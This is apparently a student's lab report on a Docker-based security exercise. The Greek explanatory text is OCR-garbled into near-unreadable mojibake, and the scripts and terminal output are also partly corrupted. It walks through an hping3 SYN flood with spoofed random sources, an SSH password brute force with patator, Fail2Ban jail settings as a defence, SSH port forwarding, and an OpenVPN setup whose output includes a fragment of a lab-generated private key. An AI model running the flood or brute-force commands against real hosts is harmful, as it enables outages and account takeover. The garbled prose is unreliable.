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1. YAOTTOINON OUCTAMAOTOC VIO TNV TTPOCOH0IWoN
Dos/DDos Attack

1.1. Docker

To Docker eivol pio mhat@dpiia AoYIcHIKOD ovolyTolh KOdike 1o viorolel Eikovikonoinen (Virtalization) oe eninedo
Asttovpyikod Tuotipatos. To Docker Tpoc@épetl dVTOUUTOTONHEVES SLOSIKOGIES Yid TNV UVATTVLEN EQUPLLOYOV GE
anopovepéveg Iepioyés Xpriom (User Spaces) mov ovopdlovral Software Containers. To A0yiGLIKO ypnoipomolel
TEYVOLOVIES TOL TUPTVE TOL LiNux O7mS o cgroups Kul ol yopol ovoudrov moprva (kernel namespaces), yio vo emiTpémel
o€ aveEdpTITa software containers vol EKTEAODVTOL GTO (810 AEITOVPYIKG GUGTIC.

TIepiocdtepec manpomopies yia To docker vdpyovy oty ioTocelida : hitps://en.wikipedia.org/wiki/Docker (software)

Topeava Le TIC 0dnyisg katefalovpe and ™y 1eTocekida Ton epyactnpiov http:/docs.swarmlab.io/Swarml ab-

HowTos/labs/Howtos/docker/install.adoc.html kot eykafiotouie gtov vioioyiot woeg to Docker.

Apyikd dnpuovpyodpis cunvog (swarm) oo to Docker pe i okoiovbeg evioies:

../install/usr/share/swarmlab.ioc/sec/swarmlab-sec create

Anpuovpyia 4 cluster

../install/usr/share/swarmlab.io/sec/swarmlab-sec up size=4

TOVOEGT) ™ master

../install/usr/share/swarmlab.io/sec/swarmlab-sec login

Edpeon tov duktiov Tov swarm

ifconfig

b
dropped ©

.4 KB)
carrier 8 coll




Evpéon tov evepymv host

nmap -sP 172.19.0.*

docker@697caldcafac: /projectS nmap -sP 172.

\

Starting Nmap 7.60 ( https://nmap.org ) at 2021-01-17 19:36 UTC
Nmap scan report for anas-VirtualBox (172.
Host 1 (0.006€ lLatency).
Nmap scan report for 697caildcdafac (172.19.0.2)
Host Ls up (0.00028s latency)
Nmap scan report for myproj_worker_1.myproj_net
Host is up (0.00026s latency).
Nmap scan report for myproj worker 3.myproj_net
is up (0.006022s latency).
scan report for myproj worker 2.myproj net (172.19.60.
is up (0.00012s latency).
done: 256 IP addresses (5 hosts up) scanned in 2.96 seconds
docker@697caldcafac: /projects

Zuvdeon otov worker 1

ssh docker{@172.19.0.3

docker@697caldcdafac: /projectS ssh docker@172.19.0.3

The authenticity of host '172.19.0.3 (172.19.0.3)' can't be establishe
ECDSA key fingerprint is SHA256:m/CkXGMQtS4n2G5eMWOMD/SLDIFZIX3xVIDMIkSALD
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '172.19.06.3' (ECDSA) to the list of known hosts.
docker@172.19.0.3"'s password:

Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-62-generic xB86_64)

* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the "unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual filles in Jusr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

LTV CUVEYELD TPOYMPALLE GTNV NBECT] KOl EKTEAOVLLE TNV TOPOKATE EVIOAT 0@V TPOTH EYKUTACTNCOL}E To hping3 pe

TIC TEPOKATEH EVIOAES

sudo apt update
sudo apt install hping3

sudo hping3 -c 12000 -d 120 -S -w 64 -p 8@ --flood --rand-source 172.19.80.3
omou
-c: 0 oplBpdC Twv MakEéTwv mou Ba eivol 12000 +
-d: to péyedog twv makétwv mou Ba elval 120 bytes +
-S: Ta noksta SYN +
-w: winsize (default 64) +
-p: OTOXog n mMopta 80 +
--flood: Ba otéAvel ypriyopa makéta xwpi¢ va evnuepwvel miow +
--rand-source: Ba otéhvovtal mokéta pe  SiradopeTikeg source IP yla va  kpOoups v
TpaypHaTiky +
- destination IP 172.19.0.3 +



s@anas-VirtualBox:~$S sudo hping3 -c 12000 -d 120 -S -w 64 -p 80 --flood --rand-source 172.19.0.3

172.19.0.3 (br-bc4s8ffcB82894 172.19.0.3): S set, 40 headers + 120 data bytes
in flood mode, no replies will be shown

T va 6ovle v enifect) mov AapPdvel o worker 1 ypnoILOTOIOVLLE TNV TUPUKATO EVIOAT]

sudo tcpdump -n -1

TS wval

, win N s [ [ al
s [nop,nop,TS va 2 ecr 310386

win 581, ¢ [nop TS val

p,TS

ecr 318386
p,TS val 3

win 581, o TS val

.nop,T é ecr 3103

2.43280: Flags [ 1 28, ack 10477, win
length

.3 .2.43280:
le

val 2

T cuvégeln Ba émpens va dnpuovpyncovpie iptables rules yio Ty avtipetOMo! Tov emBEcEmY ahhd BEV KUTUPEPT. VL

SnLLovpYHoo.

2. SSH Brute Force Attacks

T v viomoinon avthe e enifeong Ba ypelacToV IE TO TPOYPULLLE patator OMOTE TPEYOLLLE TV TUPUKATM EVIOAN:

sudo apt update
sudo apt install patator

Anovpyovue éva apyeio password.txt mov nepigyel KOAIKoS OCTE Vo Yivel 1) exifeon.

TIpaypaTomoloDLE TV ETBEGT LE TV TUPUKATH EVIOLY

patator ssh login host=172.19.8.3 user=docker password=FILE® @=password.txt -x
ignore:mesg="Authentication failed.’

docker@46805ef7fdbd: /projectS patator ssh_login host=172.19.0.3 user=docker password«FILE® O=password.txt -x ignore:mesgs'Authentication falled.
INFO - Starting Patator ve.6 (ht code.google.com/p/patator/) at 2021-01-22 23:55 EET
INFO -
INFO - code size time | candidate num | mesg

INFO cesseenan .- - - -
INFO - © < 5.013 o 116 | SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntue.3
INFO one/S / /Size 266/0/0/266, Avg: 4 r/s, Time: 6h 6m 57




Kotaiafaivovpe ot 1) eniBeon oy emtuync.

Y cuvéyeid katefdlove to Fail2Ban mov mpootatedel To cuotiata ond ssh brute force attacks pie 11g eS¢ evioigc

sudo apt-get update
sudo apt-get install failzban

TIpoydpope oV avTiypoot) Tov dedolevoy and 1o jail.conf oto jail.local pdxeio Le v eviokn

sudo cp /etc/fail2ban/jail.conf /etc/fail2zban/jail.local

Alialovpe to dedorléva atov odkero jail.local kot mpocBétovpie To Tupukdto cToyEl

[sshd] +

enable = true +

port = ssh +

filter = sshd +

logpath = /var/log/auth.log
maxretry = 3 +

bantime = 3600 +

omou :

- port : n moépta Tng umnpeoiag ssh

- logpath : 1o apyxsio kataypadric

- maxretry : o péyiotog apiBpoc mpoomaBeiwv
- bantime : o xpdévog amayopeuang £106dou

211 cuvEyeld dokIpalovEe TaAL va EavaKkdavoulle Ty eniBeon Kot Ba mopoutnpovcalle 0Tl dgv Bo UG 0EIVE VUL GUVEYIGOV]LE,

dev Bu elyale mpoofdon kot Bu Ekave ban Tov ¥pnoT KATL To onolo dev Aeltovpynce oty diKkid [Lov TepIT®OT).

AKOLLO deV KUTAYEPU VO TPOTOTOLNGM TO ssh-server £101 OOTE vo EMTPENEL LOVO GUVEECELS LECH Key.

3. Local/Remote SSH Forwarding

e quTO T0 EPAOTIUL EX® yp1oulononcel diies IP onde OaiveTul OTNY TUPUKETH EIKOVE.

ocker@71cf75dbbadf: fprojectSs ifconfig
etho: flags=4163<UP,BROADCAST ,RUNNING,MULTICAST> mtu 1500
inet 172.21.0.2 netmask 255.255.0.0 broadcast 172.21.255.255

ether ©2:42:ac:15:00:02 txqueuelen 8 (Ethernet)
RX packets 2301 bytes 24293136 (24.2 MB)




Evrafhotoiyie tov apache oto pmydvnpo pog

sudo apt install apache2

Tpéyovie Tov server

apacherctl start

TTopatnpodLe 0TL 1) VANPECLO LaS TPEYEL LIE TV EVIOAN

sudo netstat -antlupe

TNV GUVEIELD EKTELODE TIV EVIOAT]

ssh -nNT -L 80@0:localhost:80 docker@l72.21.8.3

docker@71cf75dbbadf: fproject$ ssh -nNT -L 8000:localhost:80 docker@l72.21.0.3
The authenticity of host '172.21.0.3 (172.21.0.3)' can't be established.
ECDSA key fingerprint is SHA256:ajywvC6voQ/7rGtikgFuwoSDh+2/mg9ek /W6ouwqONs .
Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '172.21.0.3' (ECDSA) to the list of known hosts.
docker@172.21.0.3's password:
bind: Cannot assign requested address

Me oty v evioin oy ovaic oTidyvovlle eva ssh tunel [etald Tov dvo unyovnudtey érov rpomboliie Ta dedopgva

nog HEcm e moptag 8000 oty modpta S0.

IDOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN http://www.w3.org/TR/xhtml1/07TD/xhtnl1-transitional.dtd">
html xmlns="http://www.w3.0rg/1999/xhtnl">

dified from the Debian original for Ubuntu
Last updated: 2016-11-16
: https://launchpad.net/bugs /1288690

ta http-equiv="Content-Type" content="text/html; charsetsUTF-8" />
<title>Apache2 Ubuntu Default Page: It works</title>
tyle type="text/css" media="screen”>
R
margin: Opx Opx Opx Opx;
padding: Opx Opx Opx Opx;
}

body, html {
padding: 3px 3px 3px 3px;

background-color: #DSDBEZ;

font-family: Verdana, sans-serif;
font-size: 11pt;
oxt-align: nter:

"Eto1 fAémovie TV 10T0GEAIGD TOV apache



ZTIV GUVEYELD V1O VO KAVOLLLE TO remote port forwarding eKTeLoULLE TNV EVIOAT]
ssh -nNT -L 8@@2ocalhost:80 docker@l72.21.8.3

Me autiv v evioin] oty ovcia etidyvouye eva ssh tunel petoi tov 6vo INyovILGTEY Kot GUVHEOIOCTE Y10 Ve, S0DLE TO

CMOTELEGLLD LIE TV EVIOAT

curl localhost:8002

ACanas@anas-VirtualBox:~5 ssh -nNT -L 8002:localhost:80 docker@l72.21.0.3
’docker@l?z.zl.ﬂ._%'s password:

'Eto1 fAemovpe v 10T0GEAIGL TOV apache

{DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN http://www.w3.org/TR/xhtml1/07TD/xhtnll-transitional.dtd">

htnl xmlns="http://www.w3.0rg/1999/xhtnl">
Modified from the Debian original for Ubuntu
Last updated: 2016-11-16
See: https://launchpad.net/bugs/1288690

ad>
<meta http-equiv="Content-Type" content="text/html; charsetsUTF-8" />
<title>Apache2 Ubuntu Default Page: It works</title>
<style type="text/css" media="screen”>
{
margin: Opx Opx Opx Opx;
padding: Opx Opx Opx Opx;
}

body, html {
padding: 3px 3px 3px 3px;

background-color: #DSDBEZ;

amily: Verdana, sans-serif;

4. VPN

Apykd 1[LOVPYOVLIE EVAY PUKELO VPN LEGH GTO swarmlab-sec 6mov kel dnpliovpyolle éva apyeio create-vpn.sh



*create-vpn.sh

# Server IP
® Server Port
#® VPN Network

#vpn_data=/var/lib/swarnlab/openvpn/openvpn-services/ # Dir to save data ** this must exist **

v Jopenvpn-services/
Af [t -d ta ]; then
mkdir -p t

fl

name of docker service
docker network

vices-network

n"uwn

regist abs .uniwa :5080/myownvpn docker image
docker stop NAS #stop container
sleep 1
docker co m S #rm container

# rm conflg flles

n -f Joper nf.*.bak
m -f I’z f

m -f tajo h.*.bak

m -f Jovpn_env.

# create network

sleep 1

doc network create attac le=true driver pt=l e gateway=17 0.0

#run contalner see ovpn_genconfig
docker rur et=none -1t -v ta:fetc/ vE p 1194 I3 fic u udp:// 119
# create pki see ovpn_initpki
docker run net=none -\ ta:/etc/openvpn rm -t k ovpn_initpki
” see ovpn_copy_server_files
#docker run net=none -v $Svpn_data:/etc/openvpn rm Sdocker ovpn_copy_server_files
#create vpn see cap-add=NET_ADMIN
sleep 1
docker ru detach :Jetc/openvpn et X t 1p=172.50.0.2 -p SP:1194/udp --cap
sudo sysctl -w net.ipv4.ip forwards=l
#show created
ker os

Ly cuvérela aeov aridlovue o diknduata (chmod 700) oto apyeio TPEYOVLE LE TNV EVIOLT

./create-vpn.sh

Enter pass phrase for Jetc/openvpn/pki/private/ca.key
Check that the request matches the signature
Signature ok

The Subject's Distinguished N

commonNane SN.1 1 27.0.0.
Certificate s to be certified un S :146:0 924 GMT (1080 days)

Write out database with 1 new entries
Data Base Updated

SSL: openssl OpenSSL 1.1.1b 26 Feb 2019

configuration from Jusr/share/easy-rsa/safessl-easyrsa.cnf

pass phrase for Jetc/openvpn/pki/private/ca.key:
139920140000104:error:28078065:UI routin _set_result_ex: ult too small:crypto/ul/ul_1lib.c:903:You must type in 4
to 1023 characters
Enter pass phrase for Jetc/openvpn/pki/private/ca.key:

An updated CRL has been created.
CRL file: Jetc/openvpn/pkijcrl.pem

0364225f05caB8363db4afe768a6218bdas94 ceSdfedbd495c9998cd4517114
_forward = 1
IMAGE COMMAND CREATED STATUS
NAMES
registry.vlabs.uniwa.gr:5080 ownvpn ovpn_run seconds ago Less than a second
->1194 /udp swarmlab-vpn-s ces
localhost:5000/sec sec bootstrap role hours ago hours
nyproj_worker_2
localhost:5000/sec . bootstrap role= hours ago ) hours
nyproj_worker_3
localhost:5000/sec bootstrap role= hours ago J hours
proj_worker_1
localhost: /sec sec_bootstrap roles= hours ago hours
>22/tcp nyproj_master_1
registry /entrypoint.sh /e 3 hours ago 3 hours
nyproj_registry_1

Meéta axorovBei ) dnpovpyio user omov ce éva apyeio create-user.sh Palovle To TUpUKATH dedolEV



-
2

create-user.sh

GNU nano 9.3

USERNAME -test1l
vpn_data Jopenvpn-services/
docker-registry.vliabs.uniwa.gr:5080/myownvpn

docker run -v fetc/openvpn it easyrsa butlld-client-full nopass
docker run -v Jetc/openvpn --log-driver -none -- ovpn_getclient .ovpn

Ty oovéyela opol aiidlovue ta dikondpota (chmod 700) 6to apyeio TpEYOVLE HE TNV EVIOAT

./create-user.sh

-VirtualBo t test vpn$S nano create-user.sh
VirtualBox: /t t t b- vpnS chmod 700 create-user.sh
VirtualBox: /t t vpnS ./create-user.sh

Using SSL: openssl OpenSSL 1.1.1b 26 Feb 2019
Generating a RSA private key

XXcJlaaNk'

Using configuration from Jusr/share/easy-rsa/safessl-easyrsa.cnf

Enter pass phrase for Jetc/openvpn/pki/private/ca.key:

Check that the request matches the signature

Signature ok

The Subject's Distinguished Name s as follows

IcommonName tASN.1 12:'testl’

Certificate is to be certified until Jan 5 18:54:5¢ E iT (1080 days)

irite out database with 1 new entries
Data Base Updated
-VirtualBox:/t t t t vpnS l

Aol eKTELECOVIE TO script ovTIKuBIGTOVE GTo upyeio testl.vpn mov Ppioketdl HEGH oTo pakeAo /swarmlab-sec/vpn

client

nobind
dev tun

'

resolv-retry infinite
ikeepalive 15 60
remote-cert-tls server

----- BEGIN PRIVATE KEY-----

HI1fVOIBﬁDﬂthkqhkicgﬁoﬁﬂofFAﬁS(aKCanSjﬂQEAAOIBﬁODOhVBQ&Ep SKSe
NTSVy2ZxT942LDHEL1KkMLXLBO)IgxCy4dnnjS3/kcoB7pSstho9lzcwH9 /21 /musSh
B4znsLIyJTYALI NI +qMD3QIqK+KkGBMC jo45vFeXTOoHBDX § / IVHIKMNON4ws TUGX
B4DQRTZKWIOeSL27VHHr TuuLBBdCr 1marsSkBAd+8nbBcd2GQB30/6FGQIbswiFM
DPLSZLSLFghPrK+Te8rn2BuXaHZWolGCZAKbLOr LeSCEpFAYOGP45IkMTtSk4GFg

OkxybfNLaTqQusY2f31azZwBQWGHEPYeB+TW7RYtPQVY4P3AHCKT7G9xrhuodo2xy



Avtiypdooulle To testl.vpn 6To @dKeA0 project mov vIdpyel 6To swarmlab-sec. to apysio testl.vpn Balolie Ty dikia pog

IP mov ¥pnGIUOTOL0U]IE.

cp testl.ovpn ../myproj/project/testl.vpn

EvkaBiotovpe kot oto docker Ko oTo swarm to openvpn

sudo apt update
sudo apt install openvpn

Aol cuvEEONUGTE HEGO 08 Evay worker EKTEAOVLE TV evTOMT

sudo openvpn --config ./testl.ovpn

docker@3cB8f456ac263: /projectS sudo openvpn config ./testl.ovpn
17 1 OpenVPN 2.4.4 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] but

1t on May 14
Wed Jan 20 21 library versions: OpenSSL 1.1.1 11 S
remo

p 2018, LZ0 2.08
Wed Jan TCP/UDP: ving recently used te addr AF_INET)172.19.0.1:1194
Wed Jan 20 2 03: . UDP ink 2 (not bound)
Jan 20: H 21 UDP ink remote: [AF_INET)172.19.0.1:1194
Jan 20 2 : [127.0.0.1] Peer Connection Initiated with [AF_INET]172.19.0.1:1194
Jan 2 £ TUN/TAP device tun® opened
Jan 20:03:1¢ do_1ifconfig, tt->did _ifconfig_1ipv6_setup=0
Jan 8 1 /sbin/ip link set dev tun® up mtu 1500
Jan 021 /sbin/ip addr add dev tun® 10.80.0.2/16 broadcast 10.80.255.255
Jan 2021 WARNING: this configuration may cache passwords in memory use the auth-nocache option to prevent th

Jan 2 0:03:19 2 Inttlalization Sequence Completed

Extehobpol Ty evtoin ifconfig yia va dodpie oti OVTHE 61ILovpyicalE To vpi

docker@3c8r456ac263: /projectS (fconfig
etho: flags=4163<UP ,BROADCAST ,RUNNING ,MULTICAST> mtu 1500
inet 172.19.0.2 netmask 255.255.0.0 broadcast 172.19.2
ether 02:4; :13:00:02 txqueuelen & (Ethernet)
RX packets 5768 bytes 22958821 (22.9 MB)
RX errors © dropped 6 overruns 06 frame ©
TX packets 5525 bytes 310096 (310.0 KB)
TX errors 0 dropped © overruns © carrier 6 collisions @

lo: flags=73<UP,LOOPBACK ,RUNNING> mnmtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 9758 bytes 631627 (631.6 KB)
RX errors © dropped © overruns 6 frame ©
TX packets 9758 bytes 631627 (631.6 KB)
TX errors © dropped © overruns 8 carrier 8 collisions @

tun®: flags=4305<UP ,POINTOPOINT , RU ! IOARP ,MULTICAST> nmtu 1500
inet 10.80.0.2 netmask 255.255.0.0 destination 10.80.0.2
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
RX packets 0 bytes 0 (0.0 B)
RX errors © dropped © overruns © frame ©
TX packets 6 bytes 06 (0.0 B)
TX errors © dropped © overruns 0 carrier 8 collisions ©

docker@3c8f456ac263: /projects




